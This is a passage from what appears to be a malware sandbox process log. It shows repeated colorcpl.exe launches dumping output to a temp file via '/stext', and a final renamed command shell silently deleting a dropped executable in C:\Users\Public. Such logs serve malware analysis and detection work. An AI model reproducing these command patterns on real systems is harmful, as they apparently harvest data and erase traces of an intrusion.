      4⤵
      PID:10332
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:10340
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:10348
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:10356
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:10364
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:10372
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:10380
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:10388
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:10396
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:10404
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:10412
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:10420
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:10428
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:10436
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:10444
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:10452
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:10460
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:10468
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:10476
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:10484
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:10492
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:10500
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:10508
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:10516
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:10524
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:10532
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:10540
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:10548
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:10556
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:10564
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:10572
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:10580
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:10588
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:10596
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:10604
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:10612
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:10620
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:10628
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:10636
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:10644
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:10652
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:10660
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:10668
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:10676
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:10684
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:10692
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:10700
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:10708
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:10716
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:10724
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:10732
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:10740
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:10748
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:10756
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:10764
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:10772
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:10780
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:10788
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:10796
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:10804
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:10812
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:10820
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:10828
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:10836
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:10844
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:10852
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:10860
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:10868
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:10876
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:10884
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:10892
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:10900
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:10908
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:10916
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:10924
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:10932
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:10940
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:10948
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:10956
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:10964
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:10972
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:10980
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:10988
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:10996
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:11004
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:11012
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:11020
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:11028
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:11036
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:11044
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:11052
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:11060
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:11068
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:11076
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:11084
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:11092
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:11100
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:11108
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:11116
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:11124
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:11132
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:11140
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:11148
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:11156
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:11164
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:11172
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:11180
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:11188
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:11196
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:11204
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:11212
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:11220
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:11228
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:11236
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:11244
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:11252
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:11260
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:10828
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:11272
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:11280
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:11288
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:11296
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:11304
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:11312
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:11320
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:11328
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:11336
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:11344
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:11352
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:11360
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:11368
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:11376
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:11384
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:11392
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:11400
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:11408
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:11416
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:11424
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:11432
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:11440
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:11448
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:11456
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:11464
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:11472
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:11480
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:11488
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:11496
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:11504
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:11512
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:11520
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:11528
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:11536
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:11544
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:11552
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:11560
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:11568
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:11576
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:11584
- C:\Users\Public\alpha.exe
  C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\kn.exe" / A / F / Q / S
  2⤵
